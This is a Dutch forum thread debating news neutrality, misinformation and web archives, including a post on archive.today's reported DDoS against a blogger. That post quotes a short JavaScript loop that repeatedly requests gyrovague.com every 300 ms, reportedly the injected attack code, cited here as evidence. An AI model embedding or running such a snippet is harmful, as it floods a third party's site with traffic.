Ik zie alleen nog geen concreet antwoordt op de vraag waarom ik me door een klein clubje mensen zou laten vertellen welke informatie ik tot mij mag nemen?

Wat is nou het doel van het bouwen van een grote muur om bijvoorbeeld Rusland? Lost dat een probleem op, of steek je je vingers in je oren?

[Brent]

Fornoo schreef op maandag 16 februari 2026 @ 19:05:

Ik zie alleen nog geen concreet antwoordt op de vraag waarom ik me door een klein clubje mensen zou laten vertellen welke informatie ik tot mij mag nemen?

Toch is dat precies wat je doet als je nieuws, samenvattingen en opinie door anderen machinaal laat prepareren.

Het idee dat er geen filtering kan zijn zonder met ooggetuigen (en zelfs dan) te spreken vind ik nogal bizar. Zeker als je het hebt over sociale media, wiens business model precies dat is: filtering for pay.

[Fornoo]

*knip*, dat soort stellingen verdient goede onderbouwing.

Mensen zijn makkelijk beïnvloedbaar. Punt. Kun je mijns inziens beter accepteren en dan een manier bedenken om ze te pantseren. In plaats van een muurtje om ze heen te bouwen, waar ze met een klein spongetje overheen springen. Want ga je informatie filteren dan gaan mensen wel een andere manier zoeken om hun dopamine hits te scoren.

Dat bedoel ik niet nihilistisch als in laat het allemaal maar lekker gaan. We zijn hier al een keer eerder opgekomen, maar ik ben meer een voorstander van het aanpassen van het onderwijs. In plaats van te leren in welk jaartal Piet Hein de zilvervloot veroverde, kun je ze beter leren hoe manipulatie te doorzien.

[ Voor 15% gewijzigd door NMH op 17-02-2026 20:43 ]

[Yaksa]

*knip*, reactie op geknipte reactie.

[ Voor 92% gewijzigd door NMH op 17-02-2026 20:42 ]

[Fornoo]

*knip*, reactie op geknipte reactie.

[ Voor 88% gewijzigd door NMH op 17-02-2026 20:44 ]

[BadRespawn]

*knip*, reactie op geknipte reactie.

[ Voor 93% gewijzigd door NMH op 17-02-2026 20:44 ]

[Stukfruit]

Rudy probeert enorm neutraal te blijven:

Colbert op zijn beurt lag eerder al overhoop met CBS na een schikking van moederbedrijf Paramount Global met president Trump. Trump had een rechtszaak aangespannen over de montage van een interview met Kamala Harris in het programma 60 Minutes. Hoewel juristen de zaak weinig kansrijk achtten, betaalde Paramount 16 miljoen dollar om een langdurig juridisch conflict te voorkomen. Het geld ging naar de toekomstige presidentiële bibliotheek van Trump.

De resterende tekst is ook zo neutraal. Hoeft geen probleem te zijn, maar het wordt gepresenteerd alsof dit alles normaal is. En dát is wat dit mis- of zelfs desinformatie maakt.

Natuurlijk is te begrijpen dat Rudy niet opgepakt wil worden en wat voorzichtiger zal zijn, maar daar win je geen oorlogen mee.

[MneoreJ]

Stukfruit schreef op woensdag 18 februari 2026 @ 22:48:
De resterende tekst is ook zo neutraal. Hoeft geen probleem te zijn, maar het wordt gepresenteerd alsof dit alles normaal is. En dát is wat dit mis- of zelfs desinformatie maakt.

Natuurlijk is te begrijpen dat Rudy niet opgepakt wil worden en wat voorzichtiger zal zijn, maar daar win je geen oorlogen mee.

Eh, over welke oorlog hebben we het nu die eerder gewonnen wordt als Rudy zich nou maar wat weet te vermannen -- de handelsoorlog of Rusland? Ik denk dat hij bij geen van beide veel zoden aan de dijk gaat zetten...

Het artikel schrijft over alle vergelijkbare incidenten, inclusief het weren van de vrije pers, en eindigt met

De botsing tussen Colbert en CBS laat zien hoe gevoelig de verhouding is geworden tussen entertainment, journalistiek en politiek in de Amerikaanse media.

En dat linkt weer naar Hoe Trump met succes de Amerikaanse media beteugelt. Lijkt me geen woord Frans bij -- tenzij je erover wil vallen dat die headline ook gewoon iets zou moeten zijn in de trant "hoe fascistische volksmenner Trump de laatste strijders van de vrije media bruut vermorzelt", voor de onnozelaars die alleen het woord "succes" lezen en denken dat er iets goeds aan het gebeuren is.

Ik vind het nogal wat dat we gretig klaar staan om "desinformatie" te plakken op alles dat niet alarmistisch genoeg geformuleerd is. Aan de ene kant willen we geen propaganda die het onnadenkende volk beïnvloedt met schreeuwkoppen, maar aan de andere kant willen we wel dat er zo hard mogelijk geroepen wordt dat er dingen niet kloppen, want het onnadenkende volk leest geen achtergrondartikelen en kan niet zelf bedenken wat "vrijheid van meningsuiting" inhoudt en welke acties daar duidelijk haaks op staan. Tja. Doet me een beetje denken aan de Franse revolutie, waar je ook al op het hakblok kon komen als je "gevaarlijk gematigd" was.

Maar voor een nieuwsartikel, en geen opiniecolumn, vind ik dit gewoon een nette opsomming van de situatie. Misschien dat er nog een standaard stukje copy-paste kan komen onder zulke artikelen over wat het Eerste Amendement is in Amerika, wat dit zou moeten betekenen ("Congress shall make no law"), en wat er daadwerkelijk van overblijft in het Amerika van nu (might makes right). Maar "het wordt gepresenteerd alsof het normaal is" vind ik een beetje als eisen dat bij elk artikel over, zeg, een bomaanslag of aardbeving expliciet wordt vermeldt "er zijn mensen dood gegaan, en dat is ERG en NIET NORMAAL", in plaats van wat we in de basis als een nogal ongevoelige opsomming van feiten zouden kunnen veroordelen.

Sowieso: iets kan alleen nieuws zijn als het niet normaal is. Dat is helaas waarom we ook steeds minder lezen over oorlogen naarmate ze langer duren, en niet omdat ze minder erg geworden zijn.

[ Voor 4% gewijzigd door MneoreJ op 19-02-2026 12:06 ]

[Fornoo]

Stukfruit schreef op woensdag 18 februari 2026 @ 22:48:
Rudy probeert enorm neutraal te blijven:


[...]


De resterende tekst is ook zo neutraal. Hoeft geen probleem te zijn, maar het wordt gepresenteerd alsof dit alles normaal is. En dát is wat dit mis- of zelfs desinformatie maakt.

Natuurlijk is te begrijpen dat Rudy niet opgepakt wil worden en wat voorzichtiger zal zijn, maar daar win je geen oorlogen mee.

Hoe kan de toon van een artikel des- en misinformatie zijn?

Het gaat hier om de achterliggende mogelijke beweegredenen om Colbert's show te stoppen. De kans is heel klein dat dit het top nieuwsitem van de dag wordt.

Door de strijd tegen tegen des- en misinformatie een 'oorlog' noemen, is het mijns inziens bij voorbaat al ongeschikt als gereedschap om vrede te brengen.

[Jerie]

Archive.today (.is, .ml, .ph, enz) wordt nog wel eens gebruikt om paywalls te omzeilen. Hierbij doet het zich voor als bijvoorbeeld GoogleBot om een paywall te omzeilen. Daar lijkt mij niets mis mee. Vandaag las ik dat ze ook andere methodes gebruiken, zoals daadwerkelijk inloggen met (gehackte, gelekte) credentials. Daar lijkt me wel wat mis mee. Van beide is geen concreet bewijs; alleen PoC dat je op die manier de content kunt zien (vaak zit de content zelfs in je browser en kun je deze gewoon lezen, zoals een zoekmachine dat ook kan). Ook kun je e.e.a. repliceren met bijvoorbeeld Selenium.

Het is ook een tool die gebruikt wordt om geoblocks te omzeilen. Dus bijvoorbeeld in Europa kun je er rt.com mee bekijken (waarom zou je ). Ook blokkeert Duitsland aardig wat domeinen inmiddels. Voor een lijst, zie: https://cuiiliste.de/domains en VK is ook flink bezig met blokkeren.

Soms is het ook nuttig om te gebruiken om een pagina te cachen, zodat je achteraf veranderingen kunt vergelijken. Daar doen nieuwssites nog wel eens aan: ondoorzichtige updates in artikelen die je vervolgens niet kunt diff'en.

Natuurlijk zijn er ook zat tegenargumenten te verzinnen, zoals dat het ingaat tegen het recht om vergeten te worden, of omdat men inkomsten mis zou lopen door piraterij.

Voor al deze argumenten valt wat te zeggen. Hoe je er ook in staat: er is een en ander gaande in Archief-land.

Laten we eerst even teruggaan in de tijd. Van alle archiving websites is Internet Archive (archive.org) de braafste. Ze zijn ook de oudste (sinds 1996 actief). Ja, ze hebben soms auteursrechtenclaims aan de broek hangen, maar het is geen pirate paradise (al zochten ze tijdens de covid crisis wel de grens behoorlijk op). Ze houden zich bijvoorbeeld aan de DMCA Wikipedia: Internet Archive ze worden soms geblokkeerd (bijvoorbeeld in 2026 door de New York Times en The Guardian), en dat accepteren ze dan. Maar de Wayback Machine heeft ook nadelen. Zo is ze nogal traag. In 2016 kwam Donald Trump voor het eerst aan de macht in de VS. Om je terug te werpen in die tijd: destijds zat Assange nog in een ambassade in Ecuador. Het Internet Archive team zat nog in VS (ze zijn in 2016 naar Canada verhuisd Wikipedia: Internet Archive ). Ook is het project meer dan de Wayback Machine: zo is er ook het Wikipedia: Archive Team, wat voort komt uit Aaron Swartz JSTOR leaks.

Vervolgens kreeg je Sci-Hub van de Kazach Alexandra Elbakyan. Deze is begonnen om voor studenten open access te verzorgen zodat zij in wetenschappelijke documenten kunnen kijken zonder te betalen (doorgaans kost dat veel geld, wat voor een unequal playing field zorgt tussen rijke en arme studenten/universiteiten). Dit riekt al meer richting regelrechte piraterij. Sci-Hub wordt steeds geblokkeerd, inclusief allerlei domeinnamen. Daardoor wijken ze uit naar allerlei methodes, zoals zelfs DNS over Wikipedia.

Anna's Archive is dan weer een nieuwere, omvangrijkere iteratie van Sci-Hub.

Qua Sci-Hub en Anna's Archive weet ik niet zoveel over de materie. Ik weet dat ze prima te bereiken zijn via Tor, en dat ze steeds met hun TLDs in de clinch liggen. Deze post heeft een focus op Archive.today, maar de grotere broer Archive.org wilde ik ook graag belichten. Alle datasets omvatten meerdere petabytes aan data, en dat maakt redundantie duur en gevoelig.

Ook Tweakers schreef over Archive.today recent op 7 november 2025: nieuws: FBI eist dat Archive.today-registrar gegevens van site-eigenaar overhandigt

Wat is er gaande? De FBI is op zoek naar ene Denis Petrov in New York, die de eigenaar zou zijn van Archive.today. In een normale wereld is het 'FBI goed' maar in geval van Trump kun je dat niet meer zo stellen. Er zijn immers twee identiteiten die achter Archive.today lijken te zitten: Denis Petrov (een zeer algemene naam), en Masha Rabinovich (Masha is een Russische variant op Maria, en een Jiddische variant op Mozes, dat ook overeen komt met de naam de Joodse achtergrond van de naam Rabinovich). Het onderzoek naar deze twee identiteiten staat op deze Finse website waar het bovenstaande Tweakers.net artikel ook naar linkt: Gyrovague.com, 5 augustus 2023: archive.today: On the trail of the mysterious guerrilla archivist of the Internet. In de comments staat dat btdig.com van dezelfde eigenaar is. Dit is een van de vele DHT search engines (dat ga ik niet uitleggen of naar linken, nog wel van belang dat btdig.com een fork lijkt te zijn van de originele btdigg.com die plat ligt). Maar er staan meer saillante details in dat onderzoek. Namelijk dat de programmeur die erachter zit vanaf het begin af aan bij NixOS betrokken was. De datum die genoemd wordt is 2004. Dat kan niet, NixOS is van 2006, maar de Nix package manager is van 2003: Wikipedia: NixOS en de repo van github.com/btdig linkt naar forks van de repos Mirai, Loki, en andere blackhat utilities.

Het wordt nog gekker: Archive.today is directing a DDoS attack against my blog, van 18 dagen geleden. Die blog is dus gyrovague. In de links staat een tumblr.com post waarbij de persoon achter gyrovague.com wordt gedoxt. Die ga ik niet direct linken, omdat gyrovague.com nagenoeg geen publiek figuur is, en Archive.today is dat gezien hun omvang wel. Nog van belang: ene 'rabinovich' linkte op HN het volgende: Ask HN: Weird archive.today behavior?. Dat artikel is van half januari 2026, en de hostile JS code wordt ook gelinkt:

code:

setInterval(function() {
     fetch("https://gyrovague.com/?s=" + Math.round(new Date().getTime() % 10000000), {
       referrerPolicy: "no-referrer",
       mode: "no-cors"
     });
   }, 300);

Deze 'rabinovich' is qua naam eerder voorgekomen in de gyrovague.com blog post, maar opmerkelijker is dat het een nieuw account betreft (van zo'n 60 dagen oud, dus ergens midden december 2025), en dat die persoon ghostarchive.org als submissie linkt https://news.ycombinator.com/submitted?id=rabinovich

Wat ook raar is, is dat AdGuard onder druk is gezet door een ogenschijnlijk nep anti-CSAM organisatie om Archive.today in een blocklist te zetten, terwijl Archive.today wel lijkt te reageren op takedown verzoeken van CSAM: adguard-dns.io, 13 nov 2025: Behind the complaints: Our investigation into the suspicious pressure on Archive.today zie ook hier weer de Russische link: Adguard zit in Cyprus, het zijn Russen die erachter zitten.

Gisteren, n.a.v. de DDoS aanval van Archive.today op gyrovague.com (Wordpress blog bij Automattic), is Wikipedia begonnen met het verwijderen van referenties naar Archive.today. Ars, 20 feb 2026: Wikipedia blacklists Archive.today, starts removing 695,000 archive links

If DDoSing a blog wasn’t bad enough, archive site also tampered with web snapshots.

In emails sent to Patokallio after the DDoS began, “Nora” from Archive.today threatened to create a public association between Patokallio’s name and AI porn and to create a gay dating app with Patokallio’s name

Het net lijkt zich rond Archive.today te sluiten, en daarbij lijkt de dienst te verdwijnen. Er is ook goed nieuws:

“Those in favor of maintaining the status quo rested their arguments primarily on the utility of archive.today for verifiability,” said today’s Wikipedia update. “However, an analysis of existing links has shown that most of its uses can be replaced. Several editors started to work out implementation details during this RfC [request for comment] and the community should figure out how to efficiently remove links to archive.today.”

Het lijkt er dus op dat Wikipedia aan een alternatief gaat werken / werkt.

En dat is dan het einde van deze post. Behalve dus dat Trump Freedom.gov aan heeft gekondigd: Reuters, 18 feb 2026: Exclusive: US plans online portal to bypass content bans in Europe and elsewhere

Uit de summary:

Launch planned for last week was delayed
Portal team includes former DOGE member Coristine
Officials discussed including a VPN function

Het probleem met .gov is natuurlijk dat het sinds Trump niet meer objectief is. Zoals Trump bepaalt wat er van het Epstein dossier naar buiten komt, bepaalt Trump ook wat er wel of niet via Freedom.gov te zien is. En dan wil je de competitie wel uitschakelen.

Aan de andere kant is Rusland ook begonnen om sommige 'ties' met het Westen nog sterker te verbreken. Telegram en WhatsApp worden inmiddels geblokkeerd: CNN van 10 feb 2026: Russia is restricting access to Telegram, one of its most popular social media apps. Here’s what we know

Of die laatste twee wapenfeiten gerelateerd zijn, kunnen we momenteel enkel nog over speculeren.

[Stukfruit]

MneoreJ schreef op donderdag 19 februari 2026 @ 11:47:
[...]

En dat linkt weer naar Hoe Trump met succes de Amerikaanse media beteugelt. Lijkt me geen woord Frans bij -- tenzij je erover wil vallen dat die headline ook gewoon iets zou moeten zijn in de trant "hoe fascistische volksmenner Trump de laatste strijders van de vrije media bruut vermorzelt", voor de onnozelaars die alleen het woord "succes" lezen en denken dat er iets goeds aan het gebeuren is.

Er zijn extremen, maar volgens mij noemde ik in mijn vorige reactie niet dat ik daar naar op zoek ben.

Ik vind het nogal wat dat we gretig klaar staan om "desinformatie" te plakken op alles dat niet alarmistisch genoeg geformuleerd is. Aan de ene kant willen we geen propaganda die het onnadenkende volk beïnvloedt met schreeuwkoppen, maar aan de andere kant willen we wel dat er zo hard mogelijk geroepen wordt dat er dingen niet kloppen, want het onnadenkende volk leest geen achtergrondartikelen en kan niet zelf bedenken wat "vrijheid van meningsuiting" inhoudt en welke acties daar duidelijk haaks op staan. Tja. Doet me een beetje denken aan de Franse revolutie, waar je ook al op het hakblok kon komen als je "gevaarlijk gematigd" was.

Het gaat hier niet om gevaarlijke gematigdheid. Ze geven een beeld over zaken die in de wereld om ons heen gaande zijn. Lees de quote uit mijn vorige reactie maar eens. Zonder de context zou je kunnen denken dat het wel meevalt: "Colbert op zijn beurt lag eerder al overhoop met CBS".

De gemiddelde lezer zou zonder kennis van wat er gaande is denken dat het probleem bij Colbert ligt. Dat soort dingen struikel ik over en niet dat er geen schreeuwtitels in staan.

En de NOS doet het wel vaker verkeerd: vandaag ook weer. Toen ik er in het verleden eens over begon op ditzelfde forum geloofden mensen het ook niet helemaal, maar het is toch echt zo.

Nee, hiermee zeg ik ook niet dat de NOS een scheve organisatie is die met kwaad in de zin dingen aan het doen is. Wat ik zeg is dat het resultaat niet klopt en lezers niet goed informeert. Ook dat is iets anders dan wat de gemiddelde wapperaar zou zeggen over dat ze 's nachts in de kelder de stoffelijke overschotten naar boven halen en daar het bloed uit pompen om er jonger uit te gaan zien

Overigens is dat ook waarom ik het "mis- of zelfs desinformatie" noemde. Dus met dat "mis" voorop. Ik kan niet weten wat het echt is omdat ik er niet op de redactie zit. Ik neem aan dat er goede bedoelingen zijn, maar dat neemt niet weg dat de uitvoer best vaak belabberd te noemen is.

[Stukfruit]

Oh, en waarom ik er eigenlijk echt over val: dit soort dingen maakt nieuws minder betrouwbaar. En dat leidt uiteindelijk tot versplintering, want mensen haken uiteindelijk af, waardoor NOS eventueel minder bestaansrecht krijgt en rechts "zie je wel" zegt om vervolgens de zaak af te sluiten.

Terwijl we net hebben ontdekt dat de democratisering van nieuws (of kan ik dat wat op veel sites tegenwoordig te zien is beter "nieuws" noemen?) niet echt voordelig is gebleken...

En nogmaals: dat betekent niet dat er boze stemmen zijn die hiervoor zorgen. Zelfs Tweakers begint informatie weg te duwen om het toegankelijker te maken voor mensen die wat minder diep in bepaalde materie zitten. Maar het gebeurt dus wel en bij elkaar genomen zorgt het er gewoon voor dat het nog moeilijker wordt om betrouwbare informatie te vinden, zelfs als het van een partij komt die ik zelf tot nu toe als redelijk betrouwbaar beschouw (zoals dus Tweakers, of NOS) of in ieder geval die insteek lijkt te hebben.

Daar vind ik iets van.

[Jerie]

DevWouter schreef op zondag 22 februari 2026 @ 13:40:
[...]

Dat gaat er vanuit dat we ons er tegen moeten wapenen. Het geld dat naar de publieke omroep (en de NPO/NOS) gaat wordt al jaren steeds verder afgeknepen en er zijn figuren in de hedendaagse politiek die van mening zijn dat de publieke omroep de overheid niet kritisch mag zijn, of althans niet als het door de overheid betaalt wordt.

Zelfs in een perfecte wereld (die we niet hebben, en ook niet zullen krijgen), en al zou de NOS gigantische funding hebben, een uitstekend proces hebben, en hoge kwaliteit leveren, dan nog maakt men wel eens fouten. Inclusief dat men een fout foutief zou vergeten te melden. En dat is dan een non-hostile actor, in een (ogenschijnlijk) perfecte wereld.

Zelfs voor een verknocht telegraaf.nl lezer die alles aldaar voor waar aanneemt is archiving tooling nog handig. Waarom? Nou, ook die perfecte telegraaf.nl () linkt nog wel eens naar imperfecte bronnen waar third parties de dienst uitmaken. Het punt is: je gaat vroeg of laat hiermee te maken krijgen, en als je dan bent voorbereid, dan kun je snel anticiperen. Een screenshot maken is dan een minimum, maar een third party tool die publiek archiveert is misschien nog wel krachtiger. Het tegenargument 'fake news' is dan namelijk minder sterk. Een nadeel van publieke archiving tooling is dat een tegenpartij het gebruik ook kan zien (want publiek); dit geeft zo'n dienst echter ook krediet. Bij een overheidsorgaan zoals een politiële dienst heb je ambtseed als backstop, dat is juridisch voldoende.

In algemene zin moeten we ons er tegen wapenen, al vele jaren. Als je die tooling beschikbaar voor gebruik hebt is dat mooi meegenomen op een moment dat je deze nodig denkt te hebben. Zie je ergens iets opmerkelijks: archiveer het dan. Doe die git clone (ik heb nog tarballs uit de tijd van Sourceforge liggen die DMCA'ed zijn). Maak dat screenshot. Gebruik een web archive. Dit was al zo in de 90's omdat content soms ineens van het internet verdween, zoals na de dotcom bubbel bijv. of omdat een hosting provider errmee stopte of werd gehackt. Je hebt immers data die verloren kan gaan. Je hebt al tientallen jaren clickbait, SEO, bait & switch, scams, en recenter criminaliteit zoals sextortion, opkomst van ML/AI. Zelfs al zou je vinden dat het internet in de 90's nog onschuldig was (en dat was niet het geval), dan is het nu vele malen meer hostile geworden.

Voorbeeld in de bovenstaande Archive.today casus https://megalodon.jp/2026...ps://archive.ph:443/LZymb en https://megalodon.jp/2026...search/?q=Jani+Patokallio

Hierbij is de archive tool (archive.today/.ph/.is) hostile gebleken en dat wordt geduid middels een andere archive tool (megalodon.jp; oudje voor specifiek Japanse markt). Daarmee heb je bewijslast voor manipulatie van de archieven, en dat is een reden (naast de DDoS) dat Wikipedia begonnen is te stoppen met linken naar archive.today. Gelukkig zijn er zat alternatieven, zowel specifieke scope als general: Wikipedia: List of web archiving initiatives let hierbij ook op de gebruikte tooling under the hood.

Op dit forum postte iemand (@nst6ldr) nog wel eens screenshots van e.e.a. gerelateerd aan het conflict met Rusland, en die bewijzen kan men gebruiken voor duiding. Daarbij kun je zelfs denken aan bewijs van strafbare feiten, OSINT onderzoek, enz. Praktijkvoorbeelden: afgezien van Bellingcat zie bijvoorbeeld Vatniksoup meest recente voorbeeld: https://vatniksoup.com/en/soups/384/ of antifacistisch onderzoekscollectief Kafka meest recente voorbeeld: https://kafka.nl/nnb-_-nazis-terug-van-weg-geweest/ een ander recent voorbeeld is archivering van *.gov content n.a.v. inauguratie Trump + aankondiging DOGE.

Als ouder van een dochter (nog in onderbouw basisschool) denk ik wel eens aan hoe de pubertijd gaat zijn, en het digitale tijdperk kent veel voor- en nadelen. Wat zou het eerste zijn, na het verhaal aanhoren over bijvoorbeeld sextortion of een ander zedendelict? Bewijsmateriaal verzamelen om de claim proberen te verifiëren. Pas daarna kun je denken aan naar de politie stappen (vervolgingtraject schijnt emotioneel een zwaar proces te zijn voor slachtoffer maar in ieder geval kun je aangifte doen). Immers kan er e.e.a. spelen, en je wilt de claim(s) kunnen verifiëren en veilig stellen. Welnu, ook daar is dit soort tooling voor geschikt.

Mijn tip voor de volgende keer is dan ook: screenshot (of camera in de meatspace, dat recent handig is gebleken in geval Minneapolis) en archiving. Je hebt deze keer geluk gehad dat je het achteraf kon reconstrueren. Dat geluk ga je niet iedere keer hebben.

Specifiek voor Firefox Mobile gebruik ik https://github.com/dessant/web-archives volgens mij is dit zelfs een 'Mobile approved' extensie. Daarmee kun je verschillende archivers whitelisten in de dropdown, en die kun je met vier touches/clicks gebruiken. Overigens is deze extensie voor veel bekende browsers beschikbaar, ook desktop.

[Stukfruit]

Fornoo schreef op donderdag 19 februari 2026 @ 12:49:
[...]

Hoe kan de toon van een artikel des- en misinformatie zijn?

Onvolledige informatie, niet de toon.

De kans is heel klein dat dit het top nieuwsitem van de dag wordt.

Nieuwsitems van de dag plaatsen is niet de functie die de NOS heeft. Het doel is informeren, niet scoren.

[ Voor 8% gewijzigd door Stukfruit op 23-02-2026 04:47 ]

[Stukfruit]

Jerie schreef op maandag 23 februari 2026 @ 02:19:
[...]

Bewijsmateriaal verzamelen om de claim
Specifiek voor Firefox Mobile gebruik ik https://github.com/dessant/web-archives volgens mij is dit zelfs een 'Mobile approved' extensie. Daarmee kun je verschillende archivers whitelisten in de dropdown, en die kun je met vier touches/clicks gebruiken. Overigens is deze extensie voor veel bekende browsers beschikbaar, ook desktop.

Hiermee kunnen we trouwens gelijk een brug slaan naar de andere reden waarom ik zo tegen dat gedoe van de NOS ben: bewijsmateriaal verzamelen kan alleen als de partij die het gemaakt of vastgelegd heeft een verleden heeft van onbetwist gedrag.

En hoezeer ik het hun ook graag zou toewijzen: de post van @DevWouter laat voor de zoveelste keer zien dat dit voor hen voorlopig niet geldt.

[Fornoo]

Mooi voorbeeld van subjectiviteit en hoe de een iets leest en hoe de ander iets leest.
Een quote van jou:

"De resterende tekst is ook zo neutraal. Hoeft geen probleem te zijn, maar het wordt gepresenteerd alsof dit alles normaal is. En dát is wat dit mis- of zelfs desinformatie maakt."

Ik lees dit alsof je hiermee bedoelt dat neutrale tekst normaliserend werkt en dus des- of misinformatie is.

[Stukfruit]

*knip*, hou de reacties een beetje inhoudelijk graag.

[ Voor 72% gewijzigd door NMH op 26-02-2026 19:24 ]

[Stukfruit]

Sjoerd leest hier waarschijnlijk mee

https://nos.nl/artikel/26...gnespeech-vol-onwaarheden